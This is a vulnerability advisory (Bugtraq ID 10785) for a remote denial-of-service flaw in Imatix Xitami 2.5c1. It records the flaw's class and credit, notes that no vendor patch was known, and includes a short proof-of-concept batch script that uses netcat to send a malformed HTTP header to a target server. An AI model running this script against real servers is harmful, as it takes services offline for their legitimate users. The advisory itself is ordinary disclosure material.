Imatix Xitami Malformed Header Remote Denial of Service Vulnerability

BID:10785

Info

Imatix Xitami Malformed Header Remote Denial of Service Vulnerability

Bugtraq ID: 10785
Class: Failure to Handle Exceptional Conditions
CVE:
Remote: Yes
Local: No
Published: Jul 22 2004 12:00AM
Updated: Jul 22 2004 12:00AM
Credit: Discovery is credited to CoolICE <[email protected]>.
Vulnerable: Imatix Xitami 2.5 c1
Not Vulnerable:

Discussion

Imatix Xitami Malformed Header Remote Denial of Service Vulnerability

A vulnerability is identified in the handling of certain types of requests by Xitami. Because of this, it is possible for a remote attacker to deny service to legitimate users of a vulnerable server.

Xitami 2.5c1 is reported prone to this issue, however, other versions may be affected as well.

Exploit / POC

Imatix Xitami Malformed Header Remote Denial of Service Vulnerability

The following proof of concept is available:
if '%1'=='' echo Usage:%0 target [port]&&goto :eof
set PORT=80
if not '%2'=='' set PORT=%2
for %%n in (nc.exe) do if not exist %%~$PATH:n if not exist nc.exe echo Need nc.exe&&goto :eof
echo GET / HTTP/1.0>http.tmp
echo HOST: %1>>http.tmp
echo DOS>>http.tmp
echo.>>http.tmp
nc -w 10 %1 %PORT% < http.tmp
del http.tmp

Solution / Fix

Imatix Xitami Malformed Header Remote Denial of Service Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

Imatix Xitami Malformed Header Remote Denial of Service Vulnerability

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